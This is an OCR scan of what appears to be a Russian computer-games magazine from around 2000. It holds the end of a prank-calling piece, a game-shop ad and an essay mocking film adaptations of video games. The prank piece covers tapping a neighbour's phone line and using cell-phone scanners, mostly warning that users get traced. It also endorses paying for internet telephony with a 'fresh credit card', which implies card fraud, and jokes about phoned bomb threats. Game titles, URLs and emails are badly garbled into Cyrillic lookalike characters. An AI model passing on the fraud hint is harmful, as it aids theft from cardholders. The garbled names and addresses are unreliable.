толкают под локоть с просьбами освободить телефон. 

2. Подключусь к соседскому телефону 

Твой сосед может заблокировать межгород на своем 
телефоне с помощью специального блокиратора или 
за отдельную плату на АТС. Если АТС цифровая, то на 
межгород можно поставить тоновый пароль. Потом, 
точку подключения пирата к проводу можно опреде- 
лить с помощью нехитрой телефонной аппаратуры с 
АТС до нескольких метров. 

А всякие статьи в газетах про безнаказанность под- 
ключения к чужим телефонам, видимо, пишут для рек- 
ламы интимной службы. Тебя сложно поймать сразу, 
только если ты разрезал провод, т.е. отрезал настоя- 
щего владельца. Это значит, что скоро ты встретишь 
злого телефониста, который прополз несколько кило- 
метров в обнимку с телефонным кабелем. А после ми- 
лицию, протоколы порчи собственности телефонной 
сети и пр. От грубого подключения всегда остаются 
следы типа провода и поцарапанных контактов. 

3 .Ты используешь телефонный сканер сотовых 
телефонов либо радиотелефонов. Т.е. ты ку- 
пил эту штуку на радиорынке и теперь бал- 
деешь. 

Если ты будешь передвигаться во время телефонного 
разговора, то тебя поймают за месяц, если будешь си- 
деть на одном месте, то за неделю. Тебя просто запе- 
ленгуют и будут отмечать на карте районы твоего 
появления. А также отслеживать телефонные номера, 
по которым ты звонишь. После того как поймают, у те- 
бя есть все шансы стать японским шпионом. 

4. Ну раз так, то я буду звонить через Интернет! 

Вот это другое дело. Вот с этого и надо было начи- 
нать. А то “провода порежу, босса завалю”. Пра- 
вильно, регистрируешься через Инет по свежей 
кредитке у западного оператора Интернет-теле- 
фонии и давай названивать по всему миру, всем 
грудастым девчонкам. 

Безопасный секс или как предохра- 
няться? 

Любой секс - занятие небезопасное. Если ты поль- 
зуешься телефонными автоматами да еще в разных час- 
тях города, то тебя поймать очень сложно. Хотя реаль- 
но, ведь у многих автоматов сейчас дежурят продавцы 
карточек, которые могут тебя опознать. Для любителей 
везде закладывать бомбы по телефону хочу сразу ска- 
зать, что голос индивидуален, как отпечатки пальцев. 
Так что по голосу тебя быстренько вычислят, и не помо- 
гут никакие исказители. По голосу можно определить 
социальное положение, профессию, район проживания, 
возраст человека, его материальный статус, количество 
детей, судимости, номер автомобиля и размер обуви. 









Интернет магазин с доставкой на дом!!! 



Заказ по интернету: 

ЬЩ^://шш.е-зЬор.ги 

е-таіі: е5Ііор@датеІапсІ.ги 
телефон: [095] 258-8627 





Доставка по Москве и Санкт - Петербургу $3, 
по Московской области $5- $9 
Представительство в Санкт -Петербурге: 

е-таіі: езбор@ІіЕерго.врЬ.ги 



ореддвжеоіе: 



только 2 дня в неделю (среда и четверг), только 2 часа 
(с 10.00 до 12.00) для покупателей 




АзНегоп'з саІІ 

Издатель: Місговоіі; 
Ролевая онлайновая игра 




ед 



ІМеесІ Тог ЗреесІ 4 (рус.док.) 
Издатель: ЕІесЬгопіс АгЬз 
Гонки на спортивных машинах 




ТНепле Рагк ѴѴогІсІ 

Издатель: ВиІІІ'год 
Строительство и развитие 
собственного парка аттракционов 




Ж 



Ітрегіаіізпл: Аде оТ Ехріогайоп 

Издатель: Міпсіасаре 
Продолжение знаменитой стратегичес- 
кой игры - лучшего бизнес-симулятора 




С&С: ТіЬегіап Зип [рус.док.] 
Издатель: ЕІесТгопіс АгГз 
Долгожданное продолжение 
легендарной стратегии 



1 Г 




ЫгігеаІ ТоитатепЪ [рус.док.] 
Издатель: ВТ ІпЬегасЬіѵе 
И снова популярный ЗО-Асйоп 



ш 
со 

НаК І_йѳ: Оррозіпд Рогсе 

Издатель: Зіегга 

Набор дополнительных миссий, 

созданных легендарным дизайнером 




ш 

со 

ОІ 



РІРА' 2000 [рус.док.) 
Издатель: ЕІесГгопіс АгЬз 
Продолжение серии о футбог 
с великолепной графикой 




НаИ 1 1_іТе+Теат Рогсе (рус.док. 
I Издатель: Зіегга 
I Популярный ЗО-АсЬіоп 



Оиаке III 

Издатель: АсЬіѵівіоп 

Третья часть легендарного шутера. 
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Штырлиц 

Издатель: Бука 
Юмористический квест 




(О 
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Риле 2000 [рус. док.) 
Издатель: ЕІесЬгопіс АгЬа 
Римейк культовой стратегии 



^еуогкІЬІте СаІІ оТ ОиЬ/ 

Издатель: Еісіоз 
Мівзіп Рагк для СоттапсІов: Вебіпб Йге 
Епету І_іпев 




ІЧВА І_іѵе 2000 (рус. док.) 
Издатель: ЕІесЬгопіс АгЬз 
Баскетбол с великолепной графикой 



нттр://ѵѵѵѵѵѵ.Е-5нпр.рги 




ЫіпСепсІо 64 (N130 

Производитель: ІМІпЬепсІо 
Самая популярная приставка 
к телевизору. Работает на картриджах 




Тигок: РІаде ѴѴагз 

Система: МпЬепсІо 64 (ІМТ5С) 
Новый сІеаДі таТсМ по к 
популярной серии игр 



ю мотивам 




(Соіог) Тор Ѳеаг Роскеі; 

Система: Соіог Вате Воу 
Гонки 




Соіог бате Воу 

Производитель: ІМіпЬепсІо 
Цветная игровая система. Удобна 
в дороге. Работает на картриджах 




СО 

со 

□опкеу Копд 64 

Система: ІМІпЪепсІо 64 (ІМТ5С) 
Приключения обезьян. 

В комплект входит Ехрапвіоп Раск 




(Соіог) Тагіап 

Система: Соіог Вате Воу' 
Приключения по мотивам популярного 
мультфильма 




Ѵоосіоо 3 3500, 

1 6МЬ, АѲР 

Производитель: 5ТВ 
Г рафический 2Б и ЗБ акселератор 
третьего поколения 



біаззіхоп РЫѴІ-35 

I Производитель: Золу 
I Лучший шлем в диапазоне до $1 500 




Ѵ-і- 

ОгеатсазС (113) и 

Производитель: Зеда 
Новая игровая приставка к телевизору. 
Супер графика, отличные игры 




СО 

со 



2еІсіа 64 

Система: І\Ііп1;епсІо 64 (N136) 
Лучшая ПРО 




(Соіог) ЕагЫіѵѵогт Лт 

Система: Соіог Вате Воу 
Приключения червя 



ІпЪеІІі Моизе РЗ/2 

Производитель: МісгозоГЬ 
Лучшая мышь для работе в ІпЬегпеЬ'е 



Заказы ко телефону можно сделать с 10.00 до 10.00 без выходных. 
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Дан-ВанТ хн (2імо2иь@МАіь.ри) 



ино появилось раньше. Зато 
индустрия компьютерных игр 
развивается куда более стре- 
мительно. Обладая изначально 
разными возможностями и разными аудито- 
риями, эти два способа убийства свободного 
времени с недавних пор сожительствуют 
весьма тесно. 

И все чаще можно наблюдать ситуацию, когда 
появление культовой игры приводит к съемкам 
кинофильма и наоборот. Сколько уже было 
этих попыток, а результат один - отстой полный 
и стопроцентный. 



Кем-то сказано, что труд сделал из обезьяны 
человека. И ты будешь совершенно прав, если 
продолжишь эту линию, сказав, что доллар 
сделал из человека капиталиста. 

Не так давно появился термин “франшиза” 
(ТгапсЫзе). ЭТО, не углубляясь в дебри эконом- 
теории, сумма прав на использование некого 
лейбла. И компании регулярно и с удоволь- 
ствием торгуют именами своих удавшихся 
проектов, выжимая из них максимум зелени, 
пока они хоть немного популярны. 

Если ты любишь иногда скоротать вечер у голу- 
бого экрана или потрескать попкорн в кромеш- 



Брюс Виллис в фильме "Пятый Элемент”. 



ной темноте кинозала, то услужливая память 
выдаст тебе с десяток названий хитов послед- 
них двух-трех лет, подвергшихся “трансплантации”. 




Спилберговский “Парк юрского периода” 
(Эигаззіс Рагк) произвел впечатление 
спецэффектами, захватывающим действом и, 
конечно же, грандиозным бюджетом. До ком- 
пьютера сей шедевр добрался лишь в виде 
невнятных аркад, тут же забытых, и в форме 
амбициозного ЗЭ экшена по мотивам фильма - 
Тгезраззег. Динозавровый остров, воссоздан- 
ный в соответствии с реальными физическими 
законами, содержал ряд занятных придумок, 
однако тормозил неимоверно; Тгезраззег, выз- 
вав всеобщее недоумение непомерными сис- 
темными требованиями, тихо сошел в лету как 
неудачная попытка скакануть выше собствен- 
ной головы. 

Оба дебютных фильма черного ковбоя и певца 
Уилла Смита “День независимости” 
(Ыерепсіепсе Эау) и “Люди в черном” (Мап іп 
ВІаск) также обрели своих пикселизированных 
двойников. Бродилочка с элементами экшена и 
леталочка из сплошного экшена... достоин- 
ствами леталочки явились видеоролики, наре- 
занные из первоисточника, и более ничего. А 
бродилочка никаких достоинств не содержала, 
равно как и серьезных недостатков, получив- 






і 



Ты в курсе, что сотворили с "Днем Неза- 
висимости”, превращая его в игру?.. 



шись на удивление серой и невыразительной. 
Там же, на дне реки забвения Леты, упокоился 
невнятный экшен по мотивам фантастического 
боевичка-приключения “Пятый элемент” (ТІіе 
5Ш ЕІешепІ), снятого знаменитым французским 
режиссером Люком Бессоном. К фильму были 
привлечены Брюс Виллис (Корбен Даллас) и 
Милла Йовович (Лилу), чьи худосочные прелес- 
ти и были позже воплощены в игре... О кино- 
фильме. От него ждали значительно большего: 
чуть ли ни продолжателя традиций бессмер- 
тного “Бегущего по лезвию бритвы”, культово- 
го воплощения киберпанковских идей на боль- 
шом экране, гениально поставленного Ридли 
Скоттом. А получили не совсем ординарный 
боевик, местами прикольный, местами стан- 
дартный до зубовной боли и кишечной отрыж- 
ки. Об игре. От нее никто ничего не ждал. А кто 
ждал, тот обломался. Мы получили гаденький 
клон ТотЬ Ваісіег, лишенный индивидуальнос- 
ти, на плохоньком движке и с геймплеем нас- 
только же увлекательным, как путешествие по 
Сахаре пешком в погожий день. 

Полуквест, полустратегия, полуприключение, 
полу-не-пойми-что в захлебывающемся мире, 
выдержанное в лучших традициях ССА-графи- 
ки, стало надгробным камнем над надеждами 
увидеть хорошую игру по мотивам двухсотмил- 
лионного боевика “Водный мир” (ШегѵѵогІсІ) с 
Кевином Костнером в главной роли. 

Ну а священная тройка игр, появившихся вслед 
за новой серией “Звездных Войн” (Зіаг ѴѴагз 
Ерізосіе I: Ріпапіот Мепасе)? О кинофильме. 
Весь мир сначала сох и чах в предвкушении, 
пуская слюни кипятком, а потом разочарованно 
шаркал глазами, наблюдая бесстыже- бесхре- 
бетное действо на озаренном дорогими 

спецэффектами большом экране. Что любо- 
пытно, по своему характеру фильм был похож 
на компьютерный асііоп-асіѵепіиге. Как будто 
Лукас, прежде чем садиться за написание сце- 
нария, переиграл на компьютере. Еще тот при- 
кол... Об играх. Рііапіош Мепасе - детальное 
воссоздание кино- 
фильма на экране мо- 
л нитора. Такое было 

я — впервые, чтоб игра ко- 

пировала фильм. Жур- 



►га* 

Т- 



“Люди в черном”. Двое. А на РС их уже 
сделалось четверо. 



налы советовали: не 
играйте, пока не пос- 
мотрите, а то потом 
смотреть неинтересно 
будет. Ерунда какая! 
Смотреть неинтересно 
было все равно, что до, 
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что после. Играть - аналогично. Очень проход- 
ная игра уровня Меп іп ВІаск, однако прекрас- 
но раскупающаяся - по той же причине, по ко- 
торой народ валом валил в кинозалы. “Звез- 
дные войны”, мать их! Следующая игра в спис- 
ке - Сипдап Ргопііег. Коротко: пансионат для 
душевнобольных детишек. И, наконец, автоар- 
када Васег, единственная удачная из этой 
троицы, но не имевшая с фильмом ничего об- 
щего, кроме фразы “Зіаг ѴѴагз Ерізосіе I” в наз- 
вании и, конечно, персонажей. Причем, как ты 
знаешь, тому ведь предшествовал целый ряд 
игр, содержавших приставку Зіаг ѴѴагз в заго- 
ловке и ну никак не связанных с кинематогра- 
фом, кроме типажного ряда (чубаки, джедаи 
да прецессы леи) и прокосмической “атмос- 
феры”. Например, Зіаг ѴѴагз Мопороіу, издан- 
ная НазЬго. 

А теперь вывод. ТІіе 5Ш ЕІетепі, Меп іп ВІаск, 
Рііапіот Мепасе и все остальные сошедшие с 
большого экрана игры получили прекрасные 
продажи, принеся своим создателям значи- 
тельные барыши. Вон Рііапіот Мепасе до сих 
пор в хит-парадах продаж на первых позициях 
держится. Догадываешься, что это доказы- 
вает? Вот-вот. Что не качество продает сваян- 
ную по фильму игру, а название. Т.е. качество 
тоже играет свою роль, полнейшее дерьмо 
особо раскупать не станут, не совсем ведь на- 
род твердолобый. Требуется нечто среднень- 
кое. На семерочку по десятибалльной шкале. 
Чтоб блевать не тянуло и чтобы, даже при дол- 
жном фанатизме к фильму, тащиться можно 
было. Наиболее яркий пример такого подхода - 
тот самый ЗТаг ѴѴагз Ерізосіе I: Рііапіот Мепасе. 
Остается только надеяться, что момент, когда 
эти ребята будут вкладывать в свои детища 
столько же усилий, как, например, ісі ЗоіТ.ѵаге, 
не за горами. Иначе мечта порулить любимым 
киногероем на своей персоналке окончательно 
опошлится и станет вызывать омерзение при 
одной мысли. 



Первыми в поле зрения кинопродюсеров по- 
пали игры, известность которых измеряется 
многими годами и миллионами поклонников 
по всему миру. 

Самым уважаемым работником коммунальных 
услуг за всю историю человечества, вне всяко- 
го сомнения, является итальянский сантехник 
Марио. Аркадные приключения Марио и его 
братьев-акробатьев заделались хитами приста- 



вок и игровых автоматов еще в те далекие вре- 
мена, когда вершиной мечтаний владельцев 
персоналок был разве что тетрис. И по сей 
день усатый дядька в комбинезоне продолжает 
оставаться одним из самых культовых консоль- 
ных персонажей. 

“Мы постараемся как можно быстрее забыть 
этот кошмар!” - говаривали зрители, выходив- 
шие из кинозалов после просмотра кинопоста- 
новки с участием братьев Марио. В 93-м он вы- 
шел на экраны... Нет, смотреть было приколь- 
но. Пусть юмор наповал разил дебилизмом, но 
если не придираться... Однако сквозь частокол 
густо натыканного стеба просовывались сви- 
ные рыла ужасающей игры актеров и дикой, 
невероятной, головокружительной тупизны сю- 
жета. И не спасли фильм эффекты - они были 
дорогостоящие, но чудодейственным образом 
тоже совершенно дебильные (ведь суметь на- 
до...). И с тех пор ко всем многочисленным ти- 



тулам Марио стало можно добавлять еще один: 
самая отвратная игровая экранизация. 
Названия БоиЫе йгадоп и Зігееі НдМегты вряд 
ли забыл, если твой игровой стаж перевалил 
лет за семь-восемь. На этих играх выросли 
настоящие бойцы, романтики виртуальных 
уличных поединков аркадного стиля. 

В то время мне случилось пребывать вне рубе- 
жей нашей многострадальной Родины. Вот 
там-то, хоть это и были не самые далеко прод- 
винутые по пути капитализма страны, я много 
раз становился свидетелем просаживания де- 
сятков баксов и неисчислимого количества 
времени на автоматах с этими играми. 

Сказать, что дебют ОоиЫе Бгадоп на большом 
экране прошел незамеченным, значит, сделать 
ему комплимент. Голливуд применил к нему 



уже испробованную тактику: взять популярную 
игру, извратить сюжет, нанять дерьмовых акте- 
ров и добавить побольше мелодраматических 
соплей. Об этой кинематографической гадости 
не помнит уже никто. 

“Уличный боец” (Зігееі НдЫег) запомнился. 
Нет, этот фильм тоже был отстойным до безоб- 
разия. Просто главную роль полковника Гайла 
(СоІ. Сиііе) поручили не кому-нибудь там Васе 
Масе Пуп-Мупкину, а Жанну Клоду Ван-Дамму. 
Выбор удивительно удачный. Посредственный 
актер, экс- бельгиец прекрасно вписался в кон- 
цепцию фильма: персонажи начисто “плоские” 
и тупые. Есть даже Зангиефф, традиционно ог- 
ромный русский, не могущий связать и двух 
слов. Для компьютерного файтинга это норма, 
но даже треск попкорна за обоими ушами не 
подавляет тошнотные позывы при полуторача- 
совом просмотре сего шедевра. 

ѴѴіпд Соттапбег, царящий с 1990 года, види- 



мо, является наиболее успешным проектом в 
жанре космических симуляторов. Вдохновите- 
лем сериала до недавних пор был Крис Робер- 
тс, среди прочего привнесший в игру идею ки- 
нематографических видеовставок между мис- 
сиями, склеивающих игровой процесс в еди- 
ный фильм с вашим участием на главных ро- 
лях. Робертс был одержим кинематографом и 
мечтал снять собственный фильм. Уходя из 
Огідіп, он выклянчил у своих бывших хозяев ли- 
цензию на кинопостановку по ѴѴіпд Соттапбег. 
Ну, в Огідіп народ собрался неглупый, так что 
там не препятствовали... Бюджет этой “мечты 
идиота” составил около 27$ миллионов, про- 
цесс съемок происходил в Люксембурге. Тебе 
приходилось лицезреть сей шедевр? Полагаю, 
что нет. Фильм проскользнул по экранам шус- 




Должно быть, когда провал "ѴѴіпд Соттапбег” в кинопрокате сделался очевидным, у 
Криса Робертса был такой же затравленный взгляд... 
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тро и незаметно как партизан. Невнятная игра 
актеров, дешевые спецэффекты и слабенький 
сценарий доказали, что если ты умеешь режис- 
сировать видеовставки для компьютерной иг- 
ры, то это вовсе не означает, что ты способен 
ставить полнометражки и сумеешь заделаться 
вторым Спилбергом. Думается, Робертс уже 
осознал это - в полной мере. 

Великий Могіаі КотЬаІ поставил на уши всех 
пользователей персоналок и консолей. Самый 
(если не единственный) успешный файтинг на 
РС. Колоритный настолько, что таки не остался 
без внимания киноиндустрии и был увековечен 
на кинопленке. Дважды. Про Моііаі КотЬаІ 2: 
Тоіаі АппіЫІаІіоп ничего говорить не стану. От- 
стой. А вот первая часть, одноименная, харак- 
теризовалась отличнейшей музыкой, блестя- 
щими спецэффектами, прекрасной атмосфе- 
рой, великолепно поставленными поединка- 
ми... некоторыми. Там одни поединки вызыва- 
ли восторг, а другие - недопонимание (напри- 
мер, когда туполицая дистрофичка Соня захва- 
том дрябложильных ног влегкую укладывает на 
песок на редкость тормознутаго здоровяка Ка- 
но). А если в целом... 

В целом продюсеры и компании-производите- 
ли яростно и тупо продолжают наступать на од- 
ни и те же грабли. Нельзя просто перенести иг- 
ру на экран, нужно еще и тщательно прорабо- 
тать сценарий. Беготня эм каш ной тусовки по 



экрану и диалоги, рассчитанные на понимание 
пятилетним ребенком, катят, если ты в этом 
принимаешь участие, но смотреть на это пол- 
тора, а то и два часа со стороны невозможно. 
Даже если постановка красочная и эффектная. 
Вообще, ты хоть раз слышал о киносценаристе, 
который был бы геймером и хоть немного 
представлял себе, что такое компьютерная иг- 
ра и с чем ее едят? Вот именно что поджари- 
вают на кнопочках и подают к столу на защит- 
ном экранчике, предварительно украсив мы- 
шиными хвостиками... Первый вариант: на ки- 
ноэкране видима попытка по-детски наивного 
детального воспроизведения компьютерной 
игры. Да и то: ну каким макаром бог грома 
Рэйден из М К трансформировался в придурко- 
ватого чудилу Кристофера Ламберта? И второй 
вариант, значительно более распространен- 
ный: от игры остаются рожки да ножки, приду- 
мывается нечто совершенно иного характера. С 
такими темпами недалек день, когда с широко- 
го экрана тебе приветливо улыбнется черноко- 
жая Лара Крофт. Жуткая перспектива... 



Кстати, о будущем Тамбовского Рейдера. Заго- 
ворили о перенесении Лары на большой экран 
в августе 97-го года. Тут же возникла пробле- 
ма: кто из реальных женщин достоин стать воп- 
лощением виртуальной героини? Ведь она ста- 



ла первым компьютерным персонажем в исто- 
рии человечества, заслужившим столь прис- 
тальное внимание и, кхм, любовь если не всех, 
то уж доброй половины геймеров по всему 
земному шарику. Только первые две части иг- 
ры разошлись более чем шестимиллионным 
тиражом, не считая пиратских копий. А сама 
Лара позировала на обложках 80 с лишним 
журналов и газет. 

Поначалу на роль Ларочки общественность 
предлагала Сандру Баллок, засветившуюся в 
огромном количестве фильмов, в том числе и в 
небезызвестной “Скорости”. Но, видать, лиси- 
мордая Баллок не прохиляла. Затем вынырнула 
кандидатура Энн Николь Смит, звезды “Плей- 
боя”. За ней последовали некая Карла Пивон- 
ски, изображения которой обильно украшают 
многочисленные порно-сайты, несколько ав- 
стралийских “секс-бомб” и подружек Бондов из 
разных фильмов. Очевидно, постановщики 
склоняются к мнению, что мозги для Лары - де- 
таль второстепенная. А первостепенную деталь 
ты и сам не хуже меня знаешь. 

В последнее время активно муссировались два 
варианта. Участвовавшая ранее в подтанцов- 
ках, а сейчас активно осваивающая эстрадные 
подмостки в качестве самостоятельной певицы 
Дженифер Лопез была отметена за свой лати- 
ноамериканский акцент, а на первое место в 
списках вышла Кэтрин Зета-Джоунс, блеснув- 
шая талантом и прочими деталями нижнего 
белья в “Маске Зорро”. Конкурирует с ней не- 
кая английская актриса Элизабет Харли, малоз- 
накомая российскому зрителю. И еще, для 
полноты картины, добавлю, что ходят слухи о 
привлечении Деми Мур и, что менее вероятно, 



Сами представители кинокомпании Рагатоипі 
Рісіигез, приобретшей права на экранизацию, 
активно игнорируют все попытки выяснить, кто 
же сыграет Лару, боясь навлечь на себя гнев 
общественности. Официальный сайт, создан- 
ный в середине 98-го года и наполнившийся 
было некоторой официальной информацией, 
резко сдулся некоторое время назад, оставив 
на своем месте лишь многочисленные “сотіпд 
500 П”. Но некоторая информация продолжает 
появляться, дабы не дать интересу к проекту 
загнуться. Похоронив надежды на привлечение 
Стивена Спилберга, сценаристом будущего 
шедевра был официально прозван некий Брент 
Фридман. Но то ли сыграла свою роль буря не- 
годования, которую породил неизвестно как 
просочившийся в И-нет предварительный 
весьма бледный вариант рукописи, то ли про- 
вал МК2: АппіМІайоп, к которому Брент также 
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приложил свою “искусную” руку, так или иначе 
- сейчас этим занимается Стефен Де Соуза. Он 
вроде бы собрался отправить госпожу Крофт 
на поиски утерянной библиотеки Александра 
Македонского. Долго, наверное, думал, куда 
бы ее послать, и вот придумал... Вообще же, 
если забыть абсолютно убожески воплощенно- 
го им и уже упомянутого выше “Уличного бой- 
ца” (Зігееі РідИІег), то надежда на хороший сце- 
нарий сохраняется, т.к. сей деятель приложил- 
ся и к “48 часам” с Эдди Мерфи, и к “Крепким 
орешкам” Брюса Виллиса. Недавно поступила 
новая информация: режиссером намереваются 
сделать Саймона Веста, известного по филь- 
мам Летающая Тюрьма” и “Генеральская доч- 
ка”; сейчас он занимается съемками фильма 
“ЗЭК” (ТИе Ргізопег) для ІІпіѵегзаІ и рекламных 
роликов для пивного гиганта Висіѵѵеізег... По 
общему итогу, полагаю, нам светит добротный 
крепко сбитый боевик, начиненный дежурными 
голливудскими типа приколами. 

Люди, достаточно интеллектуальные, чтобы ви- 
деть дальше голого энтузиазма, еще в 96-м го- 
ду, после выхода БООМ 2 и появления первых 
слухов о фильме, заявили, что у проекта нет 
будущего. Если черный юмор еще может быть 
воплощен на экране, то с мрачной атмосферой, 
реками крови и горами ошметков, без которых 
Дум немыслим, не рискнет связаться ни одна 
кинокомпания. Хотя бы из опасений быть заре- 
занной цензорами и из нежелания связываться 
с оголтелой многомиллионной армией фанатов 
и их претензиями. 

Правильность этих предположений подтверди- 
лась быстрой сменой компаний, ответственных 
за производство фильма. После смены нес- 
колько владельцев, в том числе и ІІпіѵегзаІ, 
“осчастливленной” на сегодняшний день оказа- 
лась Тгі-Зіаг. 

Пик слухов и радостного улюлюканья пришелся 
на год 97-ой. Тогда “достоверные” источники 
сообщали о необоримом желании небезызвес- 
тного актера Тома Беренжера, заядлого думера 
по жизни, стать воплощением морского пехо- 
тинца. Каким-то боком даже приписывался ста- 
рина Томми Ли Джонс, памятный по дуэту с 
чернокожим ковбоем Уиллом Смитом в “Людях 
в черном”. Затем мелькнули тяжеловесы - 
звездный итальянский кусок ветчины с вечно 
перекошенной ухмылкой Сталлоне и даже ис- 
пытывающая ныне проблемы с сердцем ав- 
стрийская колбаска Шварценеггер. Наколдо- 
вать сценарий пообещал Камерон. 

И вот вдруг пришел лесник и разогнал всех на 
фиг, положив конец мечтам. Лесник предста- 
вился как некий Мо под фамилией Лоспинизо, 
продюсер будущего фильма. Мо открытым тек- 
стом обозвал всех доверчивыми идиотами, до- 



бавив, что “информаторы, снабжающие общес- 
твенность такими новостями, не смогли бы 
сказать, где находится Голливуд, даже стоя в 
самом центре города на одноименном бульваре”. 

После этого случая ругань посредством е-мей- 
ла продолжала звучать еще пару месяцев, пе- 
ремежаемая безуспешными попытками то име- 
нитых сайтов, то представителей компании 
как-то объяснить происшедшее. 

С тех пор прошло почти два года, а информа- 
ция становится все более противоречивой. Тгі- 
Зіаг, сообщая о трудностях с поиском актеров, 
сценариста и прочего сопутствующего товара, 
раздавала обнадеживающие обещания: и бюд- 
жет запланирован у них в районе 120 миллио- 
нов у.е., и даже дату выхода выдали. Тут, прав- 
да, уже промашка вышла - говорили о лете 99- 
го. И в то же время Джон Кармак, ведущий 
программист и один из создателей ісі Зойѵѵаге, 
не устает вколачивать гвозди в крышку гроба 
надежд думеров. “Проект буксует и надежд не- 
ту,” - любил говаривать Джон еще в 97-м. 

Не далее как в августе сего года, во время про- 
ходившего в Далласе, что в Соединенных Шта- 
тах Америки, ежегодного турнира по Квейку 
ОиакеСоп Кармак поведал, что ему было пред- 
ложено два сценария, один из которых оказал- 
ся весьма слабеньким, а второй - и вовсе прос- 
то откровенным отстоем. А меж тем время, на 
которое права были проданы, истекло, а новых 
предложений не предвидится. 

Еще один герой ЗБ шутеров ожидает своей 
очереди воплотиться на большом экране. Над 
Дюком продолжает трудиться ОТ іпіегасііѵе, 
заключившая соответствующий договор с раз- 
работчиком игры ЗБ Веаітз и компанией 
ТГігезГіоІсІ Епіегіаіптепі, держателем прав. 
Председатель ТІпгезГіоІсІ заявляет, что “образ 
Дюка будто бы специально предназначен для 
воплощения его на большом экране, предос- 
тавляя широкий выбор сюжетных линий и воз- 
можностей для создания удивительных миров 
и великолепных спецэффектов”. Экая баналь- 
щина. А разработчики охотно поддакивают, 
уверяя нас и, наверное, себя в том, что “с опы- 
том и мастерством ТГігезГіоІсІ фильм ждет вели- 
кое и светлое будущее”. 

Обещан Дольф Лундгрен в главной роли. Учи- 
тывая все вышеописанное, нас ждет полутора- 
часовая высокоинтеллектуальная беготня по 
сортирам с крушением писсуаров и юмором не 
выше пояса... Радужная перспектива. 

Попытки переноса шутеров на этом не прекра- 
щаются. Не так давно появившийся в поле зре- 
ния геймеров “Турок”, охотник на динозавров 
(Тигок: Біпозаиг Нипіег), изначально был попу- 
лярным героем комиксов. Попав в игру, он тут 
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же оказался под прицелом голливудских дея- 
телей, испытывающих явные проблемы с фан- 
тазией. Карусель завертелась не так давно, 
после выхода игры, но уже есть куча энтузиас- 
тов. Сименс из КІ53 выразил свое желание 
помогать проекту в качестве продюсера 
(гм...). Прослезившись, он вспомнил детство 
(это где-то в районе великого переселения 
народов) и сказал, что буквально был взращен 
на этих комиксах. 




Везісіепі ЕѵіІ, придя на РС с Зопу РІауЗіайоп, 
вызвал бурю эмоций. Негативных, разумеется, 
т.к. для компьютерного народа такого рода иг- 
ры ассоциируются со словами “навоз”, “дерь- 
мо” и “отстой”. Зато на приставках это культ. 
Успех не остался незамеченным - дата выхода 



фильма назначена на лето 2001 года. 

Земля полнится слухами. Услужливые фанаты 
непонятно откуда добывают “новости”. И вот 
уже чуть ли не Дольф Лундгрен в главной роли, 
а музыку пишет известный всем Эннио Мари- 
коне, под бессмертную мелодию которого бла- 
гополучно скончался Жан-Поль Бельмондо в 
фильме “Профессионал”. 

Факты же гораздо ужасней. Занимается 
этим малоизвестная немецкая компания. Ак- 
теров нет. Сценария тоже, так как все уже 
предложенные никуда не годятся. Но ведь 
это такие мелочи!.. 

Леонард и Бубба, два “красношеих” 
(Весіпескз), то есть фермера по- ихнему или ла- 
потники по-нашему, спасают свою любимую 
свиноматку Бесси, победительницу многих 
конкурсов, похищенную инопланетянами как 
наиболее выдающееся в интеллектуальном 
смысле существо на данной территории. Таков 
сюжет еще одного грядущего фильма по сюже- 
ту Вебпеск Ватраде. 

По официальным сообщениям, насилие и 
кровь, в обилии присутствовавшие в игре, бу- 
дут значительно урезаны в широкоэкранной 
версии. И вообще, это будет комедия. Дабы 
моральный облик подрастающего поколения не 
пострадал. Ну и заодно, чтобы снять ограниче- 
ние “до 16-ти”, привлечь больше публики и, 
соответственно, срубить побольше капусты. 
Зопу, не доведя до конца свой первый проект 
(Вебпеск Ватраде), уже взялась за второй. 



Еще один шедевр снимается в Гонолулу, что на 
Гавайях, и называется он РіпаІ Рапіазу. Графи- 
ка в стиле аниме и потрясающая консольно- ро- 
левая атмосфера игры обеспечили ее огром- 
ную популярность. А мультфильму (!) ее дол- 
жны обеспечить вызвавшиеся на озвучку Алек 
Болдуин и Дональд Сазерленд, а также бюджет 
в 70 лимонов грин. 

Проект анонсировался недавно, и известно о 
нем не так много. Единственное, что хоть как- 
то заставляет надежду теплиться в моей душе, 
так это то, что нас ждет полнометражный муль- 
тфильм. Вспоминается продукция компании 
Оізпеу: “Аладдин”, “Король Лев”, “Тарзан”... 
кстати, ведь все три названных мультфильма 
получили свои игровые продолжения на РС в 
виде аркад и, вообще-то, довольно неплохих 
аркад. Вот так всегда: как мультфильмы, так 
рулез, а как нормальные киношки, так суксь... 
В общем, мультипликационный РіпаІ Рапіазу 
обещан к лету 2001 года и, может, они хоть 
мультик, блин, сделают нормально! Хотя - ведь 
не “Дисней” делает, так что... 

Хочется надеяться и когда вспоминаешь, что 
вызревает еще один мультяшный проект. Уже 
начата тайная работа над полнометражным 
воплощением жуткого, но ужасно симпатично- 
го Эйба (АЬе). Всем поклонникам Осісіѵѵогісі ре- 
комендовано пасть на колени и обливаться 
слезами благодарности. 

Далее. Построенный как настоящая любитель- 
ская съемка студентов, подавшихся в некий 
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дремучий лес с целью 
опровергнуть или под- 
твердить древнюю ле- 
генду о живущей там 
колдунье и заодно вы- 
полнить зачетную ра- 
боту для института, 
фильм “Ведьма из 
Блэра” (ТІіе ВІаіг Шсіі 
Ргоіесі) произвел ог- 
ромное впечатление на 
поклонников интеллек- 
туального, если этот 
термин применим к 
продукции Голливуда, 
кино. И вот уже Нитап 
Неаб, которая грозится 
поразить нас летом 
этого года ЗЭ шутером 
Випе на анрыловском 
движке (кстати, по ад- 
ресу ѵѵѵѵѵѵ.Іпитап- 
ГіеасІ.сот/оТТісіаІ типе 
ѵѵаІІрареШт можно скачать рулеззные дес- 
ктопные картинки из сабжа), заявляет, что за- 
купилась правами и начала вовсю работать над 
переносом киношедевра на комп. 

Открылся сезон охоты на права на полюбив- 
шуюся многим компьютерщикам, особенно 
младшего и полусреднего возрастов, “Мат- 
рицу” (Маігіх). Уже пара фирм официально 
провозгласила желание начать разработку 
столь лакомого куска - боевика на электрон- 
ную тематику. 

Последнее, что сейчас в поле зрения. Гото- 
вится к переносу на большой экран 
СоттапсІ&Сопдиег, стратегическая мыльная 
опера всех времен и компьютеров. В августе 
прошлого года руководство ѴѴезйѵоосІ офи- 
циально подтвердило, что ищет голливудскую 
компанию, готовую взяться за производство 
фильма, основанного на вселенной игры. 



В начале 90-х был предпринят эксперимент. В 
подлокотники кресел в кинотеатрах вмонти- 
ровали кнопочки. И в зависимости от того, 
что нажимало большинство, развивался сю- 
